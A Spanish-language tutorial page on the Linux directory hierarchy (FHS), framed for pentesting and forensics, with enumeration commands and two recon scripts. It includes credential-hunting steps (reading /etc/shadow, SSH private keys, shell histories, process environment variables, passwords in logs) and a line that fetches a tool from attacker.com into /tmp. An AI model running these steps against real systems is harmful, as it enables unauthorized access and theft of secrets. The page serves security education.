Skip to content

Estructura de Directorios de Linux

Comprensión detallada de la estructura de directorios en sistemas Linux/Unix basada en el estándar FHS (Filesystem Hierarchy Standard). Esencial para navegación del sistema, análisis forense y pentesting.

¿Qué es el Estándar de Jerarquía del Sistema de Archivos?

Section titled “¿Qué es el Estándar de Jerarquía del Sistema de Archivos?”

El FHS (Filesystem Hierarchy Standard) es la norma que define los directorios y su contenido en sistemas GNU/Linux y Unix. Esta estandarización proporciona:

  • Consistencia: El software sabe dónde encontrar y almacenar información
  • Predictibilidad: Los usuarios conocen el contenido de cada directorio
  • Mantenimiento: Facilita la administración del sistema
  • Seguridad: Ayuda a establecer permisos apropiados

Directorios Compartibles vs No Compartibles

Section titled “Directorios Compartibles vs No Compartibles”
  • Compartibles: Accesibles desde múltiples equipos (/home, /usr, /opt)
  • No Compartibles: Acceso limitado al administrador (/etc, /boot, /var/run)
  • Variables: Contenido modificable sin intervención del admin (/var/log, /home)
  • Estáticos: Solo modificables por el administrador (/etc, /usr, /bin)

El directorio principal del cual se ramifican todos los demás directorios del sistema.

Terminal window
# Listar contenido del directorio raíz
ls -la /
# Ver estructura completa
tree -L 2 /

Importancia en Pentesting:

  • Punto de partida para reconocimiento del sistema
  • Identificar distribución y configuración general
  • Buscar directorios no estándar que pueden contener información sensible

Contiene comandos binarios esenciales disponibles para todos los usuarios del sistema.

Terminal window
# Listar binarios del sistema
ls -la /bin
# Buscar binarios con permisos especiales
find /bin -perm -4000 -ls
# Verificar integridad de binarios críticos
which ls cat cp mv rm

Importancia en Pentesting:

  • Identificar herramientas disponibles en el sistema
  • Buscar binarios con SUID/SGID para escalada de privilegios
  • Verificar si hay herramientas de red, compiladores o intérpretes
  • Detectar binarios modificados o backdoors

Comandos críticos a verificar:

Terminal window
# Buscar binarios con SUID
find /bin -perm -4000 2>/dev/null
# Verificar herramientas de red
ls /bin | grep -E "(nc|netcat|wget|curl|ssh)"
# Buscar compiladores e intérpretes
ls /bin | grep -E "(gcc|python|perl|ruby|php)"

Contiene archivos necesarios para el arranque del sistema, incluyendo el kernel y el bootloader.

Terminal window
# Ver archivos de arranque
ls -la /boot
# Información del kernel
uname -a
ls /boot/vmlinuz*
# Configuración del bootloader
cat /boot/grub/grub.cfg

Importancia en Pentesting:

  • Identificar versión del kernel para buscar exploits
  • Analizar configuración de arranque
  • Buscar kernels alternativos o backdoors
  • Verificar configuración de arranque seguro

Análisis de seguridad:

Terminal window
# Versión del kernel (buscar CVEs)
uname -r
# Buscar exploits del kernel
searchsploit kernel $(uname -r)
# Verificar configuración de GRUB
grep -i "password" /boot/grub/grub.cfg

Contiene archivos especiales que representan dispositivos de hardware del sistema.

Terminal window
# Listar dispositivos
ls -la /dev
# Dispositivos de almacenamiento
ls /dev/sd* /dev/nvme*
# Dispositivos de red
ls /dev/tty* /dev/pts/*

Importancia en Pentesting:

  • Identificar dispositivos de almacenamiento y particiones
  • Buscar dispositivos USB o externos conectados
  • Analizar dispositivos de red y terminales
  • Acceso directo a dispositivos para bypass de permisos

Reconocimiento de dispositivos:

Terminal window
# Dispositivos de bloque
lsblk
# Dispositivos USB
lsusb
# Dispositivos PCI
lspci
# Acceso directo a memoria (si disponible)
ls -la /dev/mem /dev/kmem 2>/dev/null

Directorio que contiene archivos de configuración del sistema y aplicaciones.

Terminal window
# Configuraciones críticas del sistema
ls -la /etc
# Archivos de usuarios y grupos
cat /etc/passwd
cat /etc/group
cat /etc/shadow # Solo root
# Configuración de red
cat /etc/hosts
cat /etc/resolv.conf

Importancia en Pentesting:

  • CRÍTICO: Contiene configuraciones sensibles del sistema
  • Información de usuarios, grupos y contraseñas
  • Configuración de servicios y demonios
  • Claves SSH, certificados y credenciales
  • Configuración de red y DNS

Archivos críticos para pentesting:

Terminal window
# Información de usuarios
cat /etc/passwd | grep -v nologin
cat /etc/group
# Configuración de SSH
cat /etc/ssh/sshd_config
# Servicios en ejecución
ls /etc/init.d/
systemctl list-unit-files
# Configuración de red
cat /etc/network/interfaces
cat /etc/netplan/*.yaml
# Archivos de log
ls /etc/logrotate.d/
# Configuración de sudo
cat /etc/sudoers
ls /etc/sudoers.d/
# Cron jobs del sistema
cat /etc/crontab
ls /etc/cron.*

Contiene los directorios personales de todos los usuarios del sistema (excepto root).

Terminal window
# Listar usuarios del sistema
ls -la /home
# Explorar directorio de usuario específico
ls -la /home/usuario
# Archivos ocultos de configuración
ls -la /home/usuario/.*

Importancia en Pentesting:

  • Archivos personales y documentos sensibles
  • Historial de comandos y configuraciones personales
  • Claves SSH privadas y certificados
  • Configuraciones de aplicaciones con credenciales

Reconocimiento de usuarios:

Terminal window
# Usuarios con directorio home
ls /home
# Archivos de configuración de usuario
find /home -name ".*" -type f 2>/dev/null
# Historial de comandos
cat /home/*/.bash_history 2>/dev/null
cat /home/*/.zsh_history 2>/dev/null
# Claves SSH
find /home -name ".ssh" -type d 2>/dev/null
find /home -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" 2>/dev/null
# Configuraciones de aplicaciones
find /home -name ".config" -type d 2>/dev/null

Contiene bibliotecas esenciales para los binarios en /bin y /sbin.

Terminal window
# Listar bibliotecas del sistema
ls -la /lib
# Bibliotecas de 64 bits
ls -la /lib64
# Dependencias de un binario
ldd /bin/ls

Importancia en Pentesting:

  • Identificar versiones de bibliotecas vulnerables
  • Buscar bibliotecas personalizadas o backdoors
  • Análisis de dependencias para exploits
  • Inyección de bibliotecas maliciosas (LD_PRELOAD)

Directorios para montar dispositivos extraíbles y sistemas de archivos temporales.

Terminal window
# Dispositivos montados en /media
ls -la /media
# Puntos de montaje en /mnt
ls -la /mnt
# Ver todos los puntos de montaje
mount | grep -E "(media|mnt)"
df -h

Importancia en Pentesting:

  • Identificar dispositivos externos conectados
  • Buscar sistemas de archivos compartidos (NFS, SMB)
  • Acceso a datos en dispositivos USB o externos
  • Puntos de montaje no seguros

Contiene aplicaciones de terceros instaladas en el sistema.

Terminal window
# Software adicional instalado
ls -la /opt
# Explorar aplicaciones específicas
find /opt -type f -executable 2>/dev/null

Importancia en Pentesting:

  • Identificar software de terceros y versiones
  • Buscar aplicaciones vulnerables o mal configuradas
  • Encontrar herramientas de administración o monitoreo
  • Configuraciones no estándar de aplicaciones

Sistema de archivos virtual que proporciona información sobre procesos y kernel en tiempo real.

Terminal window
# Información del sistema
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# Procesos en ejecución
ls /proc/[0-9]*
# Información de red
cat /proc/net/tcp
cat /proc/net/udp

Importancia en Pentesting:

  • CRÍTICO: Información detallada del sistema en tiempo real
  • Procesos en ejecución y sus parámetros
  • Conexiones de red activas
  • Información del kernel y hardware
  • Variables de entorno de procesos

Reconocimiento del sistema:

Terminal window
# Información del kernel
cat /proc/version
# Procesos y comandos ejecutados
ps aux
cat /proc/*/cmdline 2>/dev/null
# Conexiones de red
netstat -tulpn
cat /proc/net/tcp
# Módulos del kernel cargados
cat /proc/modules
lsmod
# Información de memoria
cat /proc/meminfo
# Variables de entorno de procesos
cat /proc/*/environ 2>/dev/null | tr '\0' '\n'

Directorio personal del usuario root (administrador del sistema).

Terminal window
# Contenido del directorio root (solo accesible como root)
sudo ls -la /root
# Archivos de configuración de root
sudo ls -la /root/.*

Importancia en Pentesting:

  • OBJETIVO PRINCIPAL: Contiene archivos del administrador
  • Historial de comandos administrativos
  • Claves SSH del administrador
  • Scripts y herramientas de administración
  • Configuraciones críticas del sistema

Contiene binarios esenciales para administración del sistema, generalmente solo ejecutables por root.

Terminal window
# Binarios de administración
ls -la /sbin
# Herramientas de red y sistema
ls /sbin | grep -E "(ip|route|iptables|service)"

Importancia en Pentesting:

  • Herramientas de administración y configuración
  • Comandos de red y firewall
  • Utilidades de sistema críticas
  • Identificar capacidades administrativas disponibles

Contiene datos servidos por el sistema (web, FTP, etc.).

Terminal window
# Datos de servicios
ls -la /srv
# Contenido web si existe
ls -la /srv/www 2>/dev/null
ls -la /srv/http 2>/dev/null

Importancia en Pentesting:

  • Archivos web y contenido servido
  • Configuraciones de servicios
  • Datos de aplicaciones web
  • Posibles backdoors en servicios

Información estructurada sobre el kernel, dispositivos y drivers.

Terminal window
# Información del sistema
ls -la /sys
# Información de dispositivos
ls /sys/class/net # Interfaces de red
ls /sys/block # Dispositivos de bloque

Importancia en Pentesting:

  • Información detallada del hardware
  • Estado de dispositivos y drivers
  • Configuración del kernel
  • Capacidades del sistema

Directorio para archivos temporales, generalmente limpiado en cada reinicio.

Terminal window
# Archivos temporales
ls -la /tmp
# Buscar archivos interesantes
find /tmp -type f -ls 2>/dev/null

Importancia en Pentesting:

  • CRÍTICO: Directorio escribible por todos los usuarios
  • Lugar común para subir herramientas y exploits
  • Archivos temporales que pueden contener información sensible
  • Posible ubicación para persistencia temporal

Uso táctico:

Terminal window
# Subir herramientas
cd /tmp
wget http://attacker.com/tool
# Compilar exploits
gcc exploit.c -o exploit
# Buscar archivos abandonados
find /tmp -type f -mtime +1 2>/dev/null

Contiene la mayoría de programas y archivos del sistema disponibles para usuarios.

Terminal window
# Estructura de /usr
ls -la /usr
# Binarios de usuario
ls /usr/bin | wc -l
# Bibliotecas
ls /usr/lib
# Documentación
ls /usr/share/doc

Subdirectorios importantes:

  • /usr/bin - Comandos de usuario
  • /usr/sbin - Comandos de administración
  • /usr/lib - Bibliotecas
  • /usr/share - Datos compartidos
  • /usr/local - Software instalado localmente

Importancia en Pentesting:

  • Identificar herramientas y utilidades disponibles
  • Buscar software vulnerable o mal configurado
  • Encontrar documentación y manuales
  • Verificar software instalado localmente

Contiene archivos que cambian durante la operación del sistema.

Terminal window
# Contenido variable del sistema
ls -la /var
# Logs del sistema
ls /var/log
# Correo del sistema
ls /var/mail 2>/dev/null
# Datos de aplicaciones
ls /var/lib

Subdirectorios críticos:

  • /var/log - Archivos de registro
  • /var/mail - Correo del sistema
  • /var/spool - Colas de impresión y correo
  • /var/lib - Datos de aplicaciones
  • /var/cache - Cachés de aplicaciones
  • /var/run - Archivos de ejecución (PIDs)

Importancia en Pentesting:

  • CRÍTICO: Logs del sistema y aplicaciones
  • Información de actividad y errores
  • Archivos de configuración dinámicos
  • Datos de aplicaciones y bases de datos
  • Información forense valiosa

Análisis de logs:

Terminal window
# Logs de autenticación
tail -f /var/log/auth.log
grep "Failed password" /var/log/auth.log
# Logs del sistema
tail -f /var/log/syslog
dmesg
# Logs de servicios web
tail -f /var/log/apache2/access.log
tail -f /var/log/nginx/access.log
# Logs de correo
tail -f /var/log/mail.log
# Buscar información sensible en logs
grep -r "password\|key\|secret" /var/log/ 2>/dev/null

Directorio creado por fsck para archivos recuperados tras errores del sistema de archivos.

Terminal window
# Verificar archivos recuperados
sudo ls -la /lost+found 2>/dev/null

Importancia en Pentesting:

  • Archivos recuperados pueden contener información sensible
  • Indicador de problemas previos del sistema
  • Posible fuente de datos residuales
Terminal window
# Estructura completa del sistema
tree -L 3 / 2>/dev/null
# Buscar archivos con permisos especiales
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
find / -perm -1000 -type d 2>/dev/null # Sticky bit
# Archivos escribibles por todos
find / -perm -002 -type f 2>/dev/null
# Directorios escribibles por todos
find / -perm -002 -type d 2>/dev/null
Terminal window
# Buscar archivos de configuración
find /etc -name "*.conf" -type f 2>/dev/null
# Buscar claves y certificados
find / -name "*.key" -o -name "*.pem" -o -name "*.crt" 2>/dev/null
# Buscar archivos de backup
find / -name "*.bak" -o -name "*.backup" -o -name "*~" 2>/dev/null
# Buscar bases de datos
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sql" 2>/dev/null
Terminal window
# Servicios en ejecución
systemctl list-units --type=service --state=running
# Puertos abiertos
netstat -tulpn
ss -tulpn
# Procesos con conexiones de red
lsof -i
# Archivos abiertos por procesos
lsof | head -20
#!/bin/bash
echo "=== RECONOCIMIENTO DE ESTRUCTURA DE DIRECTORIOS ==="
echo -e "\n[+] Información del sistema:"
uname -a
cat /etc/os-release 2>/dev/null | head -5
echo -e "\n[+] Usuarios del sistema:"
cat /etc/passwd | grep -E "(bash|sh)$" | cut -d: -f1
echo -e "\n[+] Directorios en /home:"
ls -la /home 2>/dev/null
echo -e "\n[+] Servicios en ejecución:"
systemctl list-units --type=service --state=running --no-pager | head -10
echo -e "\n[+] Archivos con SUID:"
find / -perm -4000 -type f 2>/dev/null | head -10
echo -e "\n[+] Archivos escribibles por todos:"
find / -perm -002 -type f 2>/dev/null | head -10
echo -e "\n[+] Logs recientes:"
ls -la /var/log/*.log 2>/dev/null | head -5

Script de búsqueda de información sensible

Section titled “Script de búsqueda de información sensible”
#!/bin/bash
echo "=== BÚSQUEDA DE INFORMACIÓN SENSIBLE ==="
echo -e "\n[+] Archivos de configuración críticos:"
for file in /etc/passwd /etc/shadow /etc/group /etc/sudoers; do
if [ -r "$file" ]; then
echo "$file (legible)"
else
echo "$file (no accesible)"
fi
done
echo -e "\n[+] Claves SSH encontradas:"
find /home -name "id_*" -type f 2>/dev/null
echo -e "\n[+] Archivos de backup:"
find / -name "*.bak" -o -name "*.backup" 2>/dev/null | head -10
echo -e "\n[+] Bases de datos:"
find / -name "*.db" -o -name "*.sqlite" 2>/dev/null | head -10
echo -e "\n[+] Archivos de configuración web:"
find /etc -name "*apache*" -o -name "*nginx*" -o -name "*httpd*" 2>/dev/null
  1. /etc - Configuraciones del sistema
  2. /var/log - Registros de actividad
  3. /home - Datos de usuarios
  4. /root - Archivos del administrador
  5. /tmp - Archivos temporales sospechosos
  • Archivos inusuales en /tmp o /var/tmp
  • Binarios modificados en /bin o /sbin
  • Configuraciones alteradas en /etc
  • Procesos sospechosos en /proc
  • Logs manipulados en /var/log

Tip de Pentesting: La comprensión profunda de la estructura de directorios es fundamental para el reconocimiento efectivo del sistema, la identificación de vectores de ataque y la búsqueda de información sensible durante una evaluación de seguridad.